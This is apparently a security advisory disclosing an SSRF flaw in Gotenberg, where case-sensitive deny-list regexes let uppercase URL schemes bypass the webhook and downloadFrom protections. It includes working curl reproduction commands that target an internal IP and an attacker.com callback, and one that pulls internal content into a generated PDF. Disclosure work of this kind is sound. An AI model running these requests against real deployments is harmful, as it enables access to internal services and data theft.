Gotenberg has case-insensitive URL scheme that bypasses webhook and downloadFrom deny-list SSRF protection

Vulnerability Details

CWE: CWE-918 - Server-Side Request Forgery (SSRF)

The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally. Affected: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42, pkg/modules/api/api.go:199. Confirmed in Docker: http://172.17.0.1:12345/ returns HTTP 403 (blocked), HTTP://172.17.0.1:12345/ returns HTTP 202 (bypassed, TCP connection attempted). Same pattern as CVE-2026-27018/GHSA-jjwv-57xh-xr6r but in newly added webhook+downloadFrom deny-lists (commit 3f01ca1, 2026-04-07). Affected versions: <= 8.30.1. CVSS: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N = 9.1.

Summary

The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally.

The same bypass (case-insensitive scheme) was previously reported for the Chromium deny-list in CVE-2026-27018 (GHSA-jjwv-57xh-xr6r), but the newly added deny-lists for webhook and downloadFrom contain the identical flaw.

Affected file/function: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42 (default regex), pkg/modules/api/api.go:199 (default regex)

Steps to Reproduce

1. Start Gotenberg:
   docker run --rm -d -p 3001:3000 --name gotenberg-test gotenberg/gotenberg:8

2. Baseline — lowercase http:// is blocked (HTTP 403):
   curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
     -H "Gotenberg-Webhook-Url: http://172.17.0.1:12345/callback" \
     -H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
     -F "url=https://example.com/"

3. Bypass — uppercase HTTP:// bypasses deny-list (HTTP 202, connection attempted):
   curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
     -H "Gotenberg-Webhook-Url: HTTP://172.17.0.1:12345/callback" \
     -H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
     -F "url=https://example.com/"
   # Returns 202 + Gotenberg logs: "Post \"http://172.17.0.1:12345/callback\": connection refused"

4. downloadFrom bypass (response content included in PDF):
   curl -s -w "\nHTTP %{http_code}" http://localhost:3001/forms/chromium/convert/html \
     -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
     -F 'downloadFrom=[{"url":"HTTP://172.17.0.1:12345/secret.html"}]' <<< '<html><body>test</body></html>'
   # Error is "Unable to download file" (connection refused), not "filter URL" — bypass confirmed